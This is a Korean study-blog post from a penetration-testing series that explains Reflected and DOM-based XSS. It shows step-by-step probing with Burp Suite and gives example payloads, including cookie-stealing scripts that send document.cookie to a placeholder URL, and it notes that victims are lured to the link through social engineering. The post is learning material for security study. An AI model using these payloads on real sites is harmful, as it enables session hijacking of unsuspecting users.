2023.05.05 - [모의해킹 공부/취업스터디] - [0504 Day06] XSS(Cross Site Scripting)-01
[0504 Day06] XSS(Cross Site Scripting)-01
XSS(Cross Site Scripting) : 클라이언트 측 코드에 코드를 삽입하는 공격 여기서 클라이언트 측 코드란 웹 브라우저 코드 HTML, JAVASCRIPT 등을 의미하고 웹 브라우저 코드에 공격자가 원하는 공격 코드를
jisu069.tistory.com
XSS(Cross Site Scription)
: 공격자가 원하는 클라이언트 측 코드를 삽입하여 클라이언트의 브라우저에서 실행되는 공격
사용자의 세션을 탈취, 웹사이트 변조, 악성코드 삽입 등 피싱 공격을 한다
※ 공격 언어 : Javascript, HTML
[1] Reflected XSS (반사시키자!!)
공격자가 악의적인 코드를 URL에 담아 사용자에게 전달하여 공격하는 XSS
검색, 아이디 중복 검색과 같이 사용자가 입력했을 때 입력한 값이 그대로 출력되었을 때 사용할 수 있다!!
[1-1] 취약점 포인트 찾기(Reflected XSS의 포인트는 보물찾기와 같다!!)
1) Burp Suit을 사용하여 공격할 페이지를 탐색하고 파라미터가 있는 페이지를 Repeater를 통해서 확인한다
2) 취약점 포인트에 특수문자 < " ' >을 집어넣어서 값이 나오는 지 확인한다
EX)
GET /test/board.php?option=username&board=test<"'>&
search=%F0%9F%94%8D&date_from=&date_to= HTTP/1.1
3) 값이 그대로 나올 경우 HTML 태그(<script>, <p>, <a>..)를 넣어본다
EX)
board_result=test<script>
or
board_result=test<p>
or
board_result=test<a>
4) HTML태그가 나온다면 화면에 출력되는 코드를 파라미터에 삽입한다
EX)
board=test<script>alert(1)</script>
or
board=test<script>console.log(1)</script>
5) 세션 탈취 코드를 파라미터에 삽입한다
EX)
board=test<script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script>
or <script>가 막혀 있을 경우
EX)
board=test<img%20src=x%20onerror="var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;"/>
6) 지금 까지 완성한 코드 페이지 URL을 사회공학기법을 통해 사용자들에게 누르게 하면 사용자의 세션을 탈취하게 된다
[2] DOM Based XSS(Document Object Model)
Reflected XSS와 비슷하지만 사용자가 입력했을 때 입력한 값이 그대로 출력되지 않았을 때 사용하는 공격기법
Javascript 안에 HTML 태그가 생성되는 곳에서 사용!!
[2-1] 취약점 포인트는 Reflected XSS와 비슷하다\
Request EX)
GET /test/board.php?option=username&board=test&
search=%F0%9F%94%8D&date_from=&date_to= HTTP/1.1
Response EX)
<script>
function search(){
var url = document.URL;
document.getElementById('search').innerHTML="입력한 값 "+ "search")
}
</script>
1) Burp Suit을 사용하여 공격할 페이지를 탐색하고 파라미터가 있는 페이지를 Repeater를 통해서 확인한다
2) 취약점 포인트에 특수문자 < " ' >을 집어넣어서 값이 나오는 지 확인한다
board=test<"'>
---
<p id="serach">
"입력한 값은"
test<"'>
</p>
3) 값이 그대로 나올 경우 <script></script> 를 넣어본다
board=test<script></script>
---
<p id="serach">
"입력한 값은"
test<script></script>
</p>
4) HTML태그가 나온다면 화면에 출력되는 코드를 파라미터에 삽입한다
board=test<script>alert(1)</script>
---
<p id="serach">
"입력한 값은"
test<script>alert(1)</script>
</p>
이렇게 입력하면 값이 나오지 않는 것을 확인 할 수 있다 그 이유는 <p>태그 안에
<script>태그가 들어가져 작동을 하지가 않는다
이럴 경우 SQL Injection을 사용했던것 처럼 <p>태그를 닫고 시작한다
5) <p> 태그를 닫고 화면에 출력되는 코드를 파라미터에 삽입한다
board=test</p><script>alert(1)</script><p>
---
<p id="serach">
"입력한 값은"
test</p>
<script>alert(1)</script>
<p>
</p>
6) 세션 탈취 코드를 파라미터에 삽입한다
board=test</p><script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script><p>
---
<p id="serach">
"입력한 값은"
test</p>
<script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script>
<p>
</p>
7) URL을 사회공학기법을 통해 사용자들에게 누르게 하면 사용자의 세션을 탈취하게 된다
<추후 XSS 총 정리, 실습 정리>
[아이콘 저작권]
디지털 아이콘 제작자: Muhammad_Usman - Flaticon
Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon
지원 아이콘 제작자: Freepik - Flaticon
'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글
[0525 Day09] CSRF & SSRF (0) | 2023.05.29 |
---|---|
[0518 Day08] XSS & CSRF (0) | 2023.05.19 |
[0504 Day06] XSS(Cross Site Scripting)-01 (0) | 2023.05.05 |
[0427 Day05] SQL Injection-03 (1) | 2023.04.28 |
[0420 Day04] SQL Injection-02 (0) | 2023.04.21 |